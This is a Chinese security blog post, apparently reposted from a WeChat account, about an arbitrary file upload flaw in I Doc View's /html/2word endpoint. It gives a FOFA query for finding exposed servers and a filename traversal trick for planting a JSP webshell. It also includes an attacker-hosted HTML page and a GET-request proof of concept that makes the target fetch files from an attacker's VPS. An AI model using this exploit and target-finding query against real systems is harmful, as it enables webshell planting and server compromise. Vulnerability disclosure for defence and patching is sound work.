I Doc View /html/2word 任意文件上传

admin 2023年11月28日22:18:01评论93 views字数 1203阅读4分0秒阅读模式
I Doc View /html/2word 任意文件上传

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习交流使用,如若非法他用,与平台和本文作者无关,需自行负责!

00

漏洞概述

I Doc View /html/2word 任意文件上传

I Doc View /html/2word 接口存在漏洞,导致可下载远程文件至本地服务器,并且可下载并解析恶意JSP文件,导致任意恶意文件上传。

01

空间搜索语法

I Doc View /html/2word 任意文件上传

fofa

title=="在线文档预览 - I Doc View"

I Doc View /html/2word 任意文件上传

02

利用过程

I Doc View /html/2word 任意文件上传

登录界面

I Doc View /html/2word 任意文件上传

1. 准备

VPS上准备如下两个文件

I Doc View /html/2word 任意文件上传

由于系统代码 String filename = path.substring(path.lastIndexOf(47) + 1); 是截取了最后一个 / 所以直接使用 ../ 进行跨目录是不行的

但在windows安装环境下,文件名可设置为“..”跨目录,webshell命名如下

'......docviewtest.jsp'

html页面,注意:jsp解析目录在docview下。

<!DOCTYPE html><html><head>    <title>Example Page</title></head><body>    <h1>Example Page</h1>    <p>This is an example page containing some useful files for download.</p>    <ul>        <link rel="stylesheet" type="text/css" href="/......docviewttt111.jsp">    </ul></body></html>
2. 验证

POC如下

GET /html/2word?url=http://IP:PORT/test.html HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brConnection: closeUpgrade-Insecure-Requests: 1

漏洞存在响应如下

I Doc View /html/2word 任意文件上传

I Doc View /html/2word 任意文件上传

I Doc View /html/2word 任意文件上传

03

nuclei

I Doc View /html/2word 任意文件上传

I Doc View /html/2word 任意文件上传

获取脚本关注本公众号后发送:idocview1

原创原创原创原创原创原创原创原创原创原创原创原创原创原创原创原创原创原创

关注我们

原文始发于微信公众号(天澜实验室):I Doc View /html/2word 任意文件上传

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月28日22:18:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   I Doc View /html/2word 任意文件上传https://cn-sec.com/archives/2248654.html

发表评论

匿名网友 填写信息